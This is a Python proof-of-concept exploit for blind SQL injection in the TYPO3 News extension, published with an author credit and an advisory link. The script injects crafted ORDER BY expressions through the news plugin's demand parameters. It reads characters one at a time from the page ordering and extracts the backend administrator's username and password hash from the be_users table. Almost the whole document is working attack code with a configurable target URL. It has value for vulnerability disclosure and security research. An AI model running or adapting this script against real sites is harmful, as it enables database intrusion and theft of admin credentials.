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139 | # Exploit Title: TYPO3 News Module SQL Injection
# Vendor Homepage: https://typo3.org/extensions/repository/view/news
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/typo3-news-module-sqli
#!/usr/bin/python3
# TYPO3 News Module SQL Injection Exploit
# https://www.ambionics.io/blog/typo3-news-module-sqli
# cf
#
# The injection algorithm is not optimized, this is just meant to be a POC.
#
import requests
import string
session = requests.Session()
session.proxies = {'http': 'localhost:8080'}
# Change this
URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1'
PATTERN0 = 'Article #1'
PATTERN1 = 'Article #2'
FULL_CHARSET = string.ascii_letters + string.digits + '$./'
def blind(field, table, condition, charset):
# We add 9 so that the result has two digits
# If the length is superior to 100-9 it won't work
size = blind_size(
'length(%s)+9' % field, table, condition,
2, string.digits
)
size = int(size) - 9
data = blind_size(
field, table, condition,
size, charset
)
return data
def select_position(field, table, condition, position, char):
payload = 'select(%s)from(%s)where(%s)' % (
field, table, condition
)
payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position)
payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % (
payload, ord(char)
)
return payload
def blind_size(field, table, condition, size, charset):
string = ''
for position in range(size):
for char in charset:
payload = select_position(field, table, condition, position+1, char)
if test(payload):
string += char
print(string)
break
else:
raise ValueError('Char was not found')
return string
def test(payload):
response = session.post(
URL,
data=data(payload)
)
response = response.text
return response.index(PATTERN0) < response.index(PATTERN1)
def data(payload):
return {
'tx_news_pi1[overwriteDemand][order]': payload,
'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload,
'tx_news_pi1[search][subject]': '',
'tx_news_pi1[search][minimumDate]': '2016-01-01',
'tx_news_pi1[search][maximumDate]': '2016-12-31',
}
# Exploit
print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters))
print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET))
|
